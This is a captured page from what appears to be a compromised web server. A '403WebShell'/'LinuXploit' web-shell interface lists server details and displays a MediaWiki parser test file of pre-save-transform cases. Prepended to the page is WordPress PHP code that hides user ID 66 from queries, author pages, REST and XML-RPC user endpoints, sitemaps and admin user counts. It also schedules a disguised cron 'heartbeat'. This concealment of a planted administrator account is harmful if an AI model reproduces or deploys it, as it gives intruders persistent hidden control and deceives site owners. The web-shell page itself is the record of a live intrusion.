add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/tests/parser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/tests/parser/pst.txt
# The parsoid-compatible option below is only relevant when we are running
# parser tests in integrated mode with Parsoid. This option is ignored
# when this test file is run with Parsoid in standalone mode.
!! options
parsoid-compatible=wt2html,wt2wt
version=2
!! end

!! article
Template:test
!! text
This is a test template
!! endarticle

!! article
Template:paramtest
!! text
This is a test template with parameter {{{param}}}
!! endarticle

!! article
Template:Includes
!! text
Foo<noinclude>zar</noinclude><includeonly>bar</includeonly>
!! endarticle

!! article
Template:Includes2
!! text
<onlyinclude>Foo</onlyinclude>bar
!! endarticle

!! test
pre-save transform: subst:
!! options
pst
!! wikitext
{{subst:test}}
!! html/php
This is a test template
!! end

!! test
pre-save transform: normal template
!! options
pst
!! wikitext
{{test}}
!! html/php
{{test}}
!! end

!! test
pre-save transform: nonexistent template
!! options
pst
!! wikitext
{{thistemplatedoesnotexist}}
!! html/php
{{thistemplatedoesnotexist}}
!! end

!! test
pre-save transform: subst magic variables
!! options
pst
!! wikitext
{{subst:SITENAME}}
!! html/php
MediaWiki
!! end

# This is T2089, which I fixed. -- wtm
!! test
pre-save transform: subst: templates with parameters
!! options
pst
!! wikitext
{{subst:paramtest|param="something else"}}
!! html/php
This is a test template with parameter "something else"
!! end

!! article
Template:nowikitest
!! text
<nowiki>'''not wiki'''</nowiki>
!! endarticle

!! test
pre-save transform: nowiki in subst (T3188)
!! options
pst
!! wikitext
{{subst:nowikitest}}
!! html/php
<nowiki>'''not wiki'''</nowiki>
!! end

!! article
Template:commenttest
!! text
This template has <!-- a comment --> in it.
!! endarticle

!! test
pre-save transform: comment in subst (T3936)
!! options
pst
!! wikitext
{{subst:commenttest}}
!! html/php
This template has <!-- a comment --> in it.
!! end

!! test
pre-save transform: unclosed tag
!! options
pst
!! wikitext
<nowiki>'''not wiki'''
!! html/php
<nowiki>'''not wiki'''
!! end

!! test
pre-save transform: mixed tag case
!! options
pst
!! wikitext
<NOwiki>'''not wiki'''</noWIKI>
!! html/php
<NOwiki>'''not wiki'''</noWIKI>
!! end

!! test
pre-save transform: unclosed comment in <nowiki>
!! options
pst
!! wikitext
wiki<nowiki>nowiki<!--nowiki</nowiki>wiki
!! html/php
wiki<nowiki>nowiki<!--nowiki</nowiki>wiki
!!end

# Leading @ in this template definition works around a limitation
# in parsoid's parserTests which otherwise strips the <span> from the
# result (confusing it for a template wrapper)
!! article
Template:dangerous
!!text
@<span onmouseover="alert('crap')">Oh no</span>
!!endarticle

!!test
(confirming safety of fix for subst T3936)
!! wikitext
{{Template:dangerous}}
!! html
<p>@<span>Oh no</span>
</p>
!! end

!! test
pre-save transform: comment containing gallery (T7024)
!! options
pst
!! wikitext
<!-- <gallery>data</gallery> -->
!! html/php
<!-- <gallery>data</gallery> -->
!!end

!! test
pre-save transform: comment containing extension
!! options
pst
!! wikitext
<!-- <tag>data</tag> -->
!! html/php
<!-- <tag>data</tag> -->
!!end

!! test
pre-save transform: comment containing nowiki
!! options
pst
!! wikitext
<!-- <nowiki>data</nowiki> -->
!! html/php
<!-- <nowiki>data</nowiki> -->
!!end

!! test
pre-save transform: <noinclude> in subst (T5298)
!! options
pst
!! wikitext
{{subst:Includes}}
!! html/php
Foobar
!! end

!! test
pre-save transform: <onlyinclude> in subst (T5298)
!! options
pst
!! wikitext
{{subst:Includes2}}
!! html/php
Foo
!! end

!! article
Template:SubstTest
!!text
{{<includeonly>subst:</includeonly>Includes}}
!! endarticle

!! article
Template:SafeSubstTest
!! text
{{<includeonly>safesubst:</includeonly>Includes}}
!! endarticle

!! article
Template:SafeSubstSelfTest
!! text
{{safesubst:SafeSubstSelfTest}}
!! endarticle

!! article
Template:safesubst
!! text
{{{1}}}
!! endarticle

!! article
Template:ROOTPAGENAME
!! text
NotTheVariable
!! endarticle

!! test
T24297: safesubst: works during PST
!! options
pst
!! wikitext
{{subst:SafeSubstTest}}{{safesubst:SubstTest}}
!! html/php
FoobarFoobar
!! end

!! test
T24297: safesubst: works during normal parse
!! wikitext
{{SafeSubstTest}}
!! html
<p>Foobar
</p>
!! end

!! test
subst: does not work during normal parse
!! wikitext
{{SubstTest}}
!! html
<p>{{subst:Includes}}
</p>
!! html/parsoid+integrated
<p><span about="#mwt1" typeof="mw:Transclusion" data-mw='{"parts":[{"template":{"target":{"wt":"SubstTest","href":"./Template:SubstTest"},"params":{},"i":0}}]}'>{{subst:Includes}}</span></p>
!! end

!! test
safesubst self: does not work during normal parse - T276476
!! options
pst title=[[Template:SafeSubstSelfTest]]
!! wikitext
{{SafeSubstSelfTest}}
!! html/php
{{SafeSubstSelfTest}}
!! end

## Non-PST test
!! test
Template named safesubst - T309405
!! wikitext
{{safesubst|123}}
!! html/php
<p>123
</p>
!! html/parsoid
<p><span about="#mwt1" typeof="mw:Transclusion" data-mw='{"parts":[{"template":{"target":{"wt":"safesubst","href":"./Template:Safesubst"},"params":{"1":{"wt":"123"}},"i":0}}]}'>123</span></p>
!! end

!! test
subst: with whitespace - variable vs. template
!! options
pst title=[[TestSubstVariable]]
!! wikitext
Variable: {{subst: ROOTPAGENAME}}
Variable: {{subst:ROOTPAGENAME}}
Template: {{subst: ROOTPAGENAME|template}}
Template: {{subst:ROOTPAGENAME|template}}
!! html/php
Variable: TestSubstVariable
Variable: TestSubstVariable
Template: NotTheVariable
Template: NotTheVariable
!! end

!! test
pre-save transform: context links ("pipe trick")
!! options
pst
!! wikitext
[[Article (context)|]]
[[Bar:Article|]]
[[:Bar:Article|]]
[[Bar:Article (context)|]]
[[:Bar:Article (context)|]]
[[|Article]]
[[|Article (context)]]
[[Bar:X (Y) Z|]]
[[:Bar:X (Y) Z|]]
!! html/php
[[Article (context)|Article]]
[[Bar:Article|Article]]
[[:Bar:Article|Article]]
[[Bar:Article (context)|Article]]
[[:Bar:Article (context)|Article]]
[[Article]]
[[Article (context)]]
[[Bar:X (Y) Z|X (Y) Z]]
[[:Bar:X (Y) Z|X (Y) Z]]
!! end

!! test
pre-save transform: context links ("pipe trick") with interwiki prefix
!! options
pst
!! wikitext
[[interwiki:Article|]]
[[:interwiki:Article|]]
[[interwiki:Bar:Article|]]
[[:interwiki:Bar:Article|]]
!! html/php
[[interwiki:Article|Article]]
[[:interwiki:Article|Article]]
[[interwiki:Bar:Article|Bar:Article]]
[[:interwiki:Bar:Article|Bar:Article]]
!! end

!! test
pre-save transform: context links ("pipe trick") with parens in title
!! options
pst title=[[Somearticle (context)]]
!! wikitext
[[|Article]]
!! html/php
[[Article (context)|Article]]
!! end

!! test
pre-save transform: context links ("pipe trick") with single, double-width and Arabic comma in title
!! options
pst title=[[Someplace, Somewhere]]
!! wikitext
[[|Otherplace]]
[[Otherplace, Elsewhere|]]
[[Otherplace, Elsewhere, Anywhere|]]
[[Otherplace,Elsewhere|]]
[[Otherplace، Elsewhere|]]
!! html/php
[[Otherplace, Somewhere|Otherplace]]
[[Otherplace, Elsewhere|Otherplace]]
[[Otherplace, Elsewhere, Anywhere|Otherplace]]
[[Otherplace,Elsewhere|Otherplace]]
[[Otherplace، Elsewhere|Otherplace]]
!! end

!! test
pre-save transform: context links ("pipe trick") with parens and comma
!! options
pst title=[[Someplace (IGNORED), Somewhere]]
!! wikitext
[[|Otherplace]]
[[Otherplace (place), Elsewhere|]]
!! html/php
[[Otherplace, Somewhere|Otherplace]]
[[Otherplace (place), Elsewhere|Otherplace]]
!! end

!! test
pre-save transform: context links ("pipe trick") with comma and parens
!! options
pst title=[[Who, me? (context)]]
!! wikitext
[[|Yes, you.]]
[[Me, Myself, and I (1937 song)|]]
!! html/php
[[Yes, you. (context)|Yes, you.]]
[[Me, Myself, and I (1937 song)|Me, Myself, and I]]
!! end

!! test
pre-save transform: context links ("pipe trick") with namespace
!! options
pst title=[[Ns:Somearticle]]
!! wikitext
[[|Article]]
!! html/php
[[Ns:Article|Article]]
!! end

!! test
pre-save transform: context links ("pipe trick") with namespace and parens
!! options
pst title=[[Ns:Somearticle (context)]]
!! wikitext
[[|Article]]
!! html/php
[[Ns:Article (context)|Article]]
!! end

!! test
pre-save transform: context links ("pipe trick") with namespace and comma
!! options
pst title=[[Ns:Somearticle, Context, Whatever]]
!! wikitext
[[|Article]]
!! html/php
[[Ns:Article, Context, Whatever|Article]]
!! end

!! test
pre-save transform: context links ("pipe trick") with namespace, comma and parens
!! options
pst title=[[Ns:Somearticle, Context (context)]]
!! wikitext
[[|Article]]
!! html/php
[[Ns:Article (context)|Article]]
!! end

!! test
pre-save transform: context links ("pipe trick") with namespace, parens and comma
!! options
pst title=[[Ns:Somearticle (IGNORED), Context]]
!! wikitext
[[|Article]]
!! html/php
[[Ns:Article, Context|Article]]
!! end

!! test
pre-save transform: context links ("pipe trick") with full-width parens and no space (Japanese and Chinese style, T32149)
!! options
pst
!! wikitext
[[Article(context)|]]
[[Bar:Article(context)|]]
[[:Bar:Article(context)|]]
[[|Article(context)]]
[[Bar:X(Y)Z|]]
[[:Bar:X(Y)Z|]]
!! html/php
[[Article(context)|Article]]
[[Bar:Article(context)|Article]]
[[:Bar:Article(context)|Article]]
[[Article(context)]]
[[Bar:X(Y)Z|X(Y)Z]]
[[:Bar:X(Y)Z|X(Y)Z]]
!! end

!! test
pre-save transform: context links ("pipe trick") with full-width parens and space (Japanese and Chinese style, T32149)
!! options
pst
!! wikitext
[[Article (context)|]]
[[Bar:Article (context)|]]
[[:Bar:Article (context)|]]
[[|Article (context)]]
[[Bar:X (Y) Z|]]
[[:Bar:X (Y) Z|]]
!! html/php
[[Article (context)|Article]]
[[Bar:Article (context)|Article]]
[[:Bar:Article (context)|Article]]
[[Article (context)]]
[[Bar:X (Y) Z|X (Y) Z]]
[[:Bar:X (Y) Z|X (Y) Z]]
!! end

!! test
pre-save transform: context links ("pipe trick") with parens and no space (Korean style, T32149)
!! options
pst
!! wikitext
[[Article(context)|]]
[[Bar:Article(context)|]]
[[:Bar:Article(context)|]]
[[|Article(context)]]
[[Bar:X(Y)Z|]]
[[:Bar:X(Y)Z|]]
!! html/php
[[Article(context)|Article]]
[[Bar:Article(context)|Article]]
[[:Bar:Article(context)|Article]]
[[Article(context)]]
[[Bar:X(Y)Z|X(Y)Z]]
[[:Bar:X(Y)Z|X(Y)Z]]
!! end

!! test
pre-save transform: context links ("pipe trick") with commas (T23660)
!! options
pst
!! wikitext
[[Article (context), context|]]
[[Article (context),context|]]
[[Bar:Article (context), context|]]
[[Bar:Article (context),context|]]
[[:Bar:Article (context), context|]]
[[:Bar:Article (context),context|]]
!! html/php
[[Article (context), context|Article]]
[[Article (context),context|Article]]
[[Bar:Article (context), context|Article]]
[[Bar:Article (context),context|Article]]
[[:Bar:Article (context), context|Article]]
[[:Bar:Article (context),context|Article]]
!! end

!! test
Parsoid: backwards pipe trick
!! wikitext
[[|'''bar''']]
!! html/php
<p>[[|<b>bar</b>]]
</p>
!! html/parsoid
<p>[[|<b>bar</b>]]</p>
!! end

!! test
pre-save transform: trim trailing empty lines
!! options
pst
!! wikitext
Empty lines are trimmed




!! html/php
Empty lines are trimmed
!! end

!! test
pre-save transform: Signature expansion
!! options
pst
!! wikitext
* ~~~
* ~~~~
* ~~~~~
* <noinclude>~~~</noinclude>
* <includeonly>~~~</includeonly>
* <onlyinclude>~~~</onlyinclude>
!! html/php
* [[Special:Contributions/127.0.0.1|127.0.0.1]]
* [[Special:Contributions/127.0.0.1|127.0.0.1]] 00:02, 1 January 1970 (UTC)
* 00:02, 1 January 1970 (UTC)
* <noinclude>[[Special:Contributions/127.0.0.1|127.0.0.1]]</noinclude>
* <includeonly>[[Special:Contributions/127.0.0.1|127.0.0.1]]</includeonly>
* <onlyinclude>[[Special:Contributions/127.0.0.1|127.0.0.1]]</onlyinclude>
!! end


!! test
ParserOutput flags from signature expansion (T84843)
!! options
pst
showflags
!! wikitext
~~~~
!! metadata
flags=user-signature
!! html/php
[[Special:Contributions/127.0.0.1|127.0.0.1]] 00:02, 1 January 1970 (UTC)
!! end

!! test
pre-save transform: Signature expansion in nowiki tags (T2093)
!! options
pst disabled
!! wikitext
Shall not expand:

<nowiki>~~~~</nowiki>

<includeonly><nowiki>~~~~</nowiki></includeonly>

<noinclude><nowiki>~~~~</nowiki></noinclude>

<onlyinclude><nowiki>~~~~</nowiki></onlyinclude>

{{subst:Foo}} shall be converted to FOO

As well as inside noinclude/onlyinclude
<noinclude>{{subst:Foo}}</noinclude>
<onlyinclude>{{subst:Foo}}</onlyinclude>

But not inside includeonly
<includeonly>{{subst:Foo}}</includeonly>
!! html/php
Shall not expand:

<nowiki>~~~~</nowiki>

<includeonly><nowiki>~~~~</nowiki></includeonly>

<noinclude><nowiki>~~~~</nowiki></noinclude>

<onlyinclude><nowiki>~~~~</nowiki></onlyinclude>

FOO shall be converted to FOO

As well as inside noinclude/onlyinclude
<noinclude>FOO</noinclude>
<onlyinclude>FOO</onlyinclude>

But not inside includeonly
<includeonly>{{subst:Foo}}</includeonly>
!! end

!! test
Parsoid: Recognize nowiki with trailing space in tags
!! options
parsoid=wt2html
!! wikitext
<nowiki ><div>[[foo]]</nowiki >

a<nowiki / >b

c<nowiki />d

e<nowiki/ >f
!! html/php
<p>&lt;div&gt;[[foo]]
</p><p>a&lt;nowiki / &gt;b
</p><p>cd
</p><p>e&lt;nowiki/ &gt;f
</p>
!! html/parsoid
<p><span typeof="mw:Nowiki">&lt;div>[[foo]]</span></p>

<p>a&lt;nowiki / >b</p>

<p>c<span typeof="mw:Nowiki"></span>d</p>

<p>e&lt;nowiki/ >f</p>
!! end

!! test
Category with empty sort key
!! options
cat
pst
!! wikitext
[[Category:MediaWiki User's Guide|]]
!! html/php
[[Category:MediaWiki User's Guide|MediaWiki User's Guide]]
!! end

!! test
Category with empty sort key and parentheses
!! options
cat
pst
!! wikitext
[[Category:Foo (bar)|]]
!! html/php
[[Category:Foo (bar)|Foo]]
!! end

!! test
Category with link tail
!! options
cat
pst
!! wikitext
123[[Category:Foo]]456
!! html/php
123[[Category:Foo]]456
!! end

!! test
Category with template
!! options
cat
pst
!! wikitext
[[Category:{{1x|Foo}}]]
!! html/php
[[Category:{{1x|Foo}}]]
!! end

!! test
Category with template in sort key
!! options
cat
pst
!! wikitext
[[Category:Foo|{{1x|Bar}}]]
!! html/php
[[Category:Foo|{{1x|Bar}}]]
!! end

!! test
Category with template in sort key and title
!! options
cat
pst
!! wikitext
[[Category:{{1x|Foo}}|{{1x|Bar}}]]
!! html/php
[[Category:{{1x|Foo}}|{{1x|Bar}}]]
!! end

!! test
Tildes in comments
!! options
pst
!! wikitext
<!-- ~~~~ -->
!! html/php
<!-- ~~~~ -->
!! end

Youez - 2016 - github.com/yon3zu
LinuXploit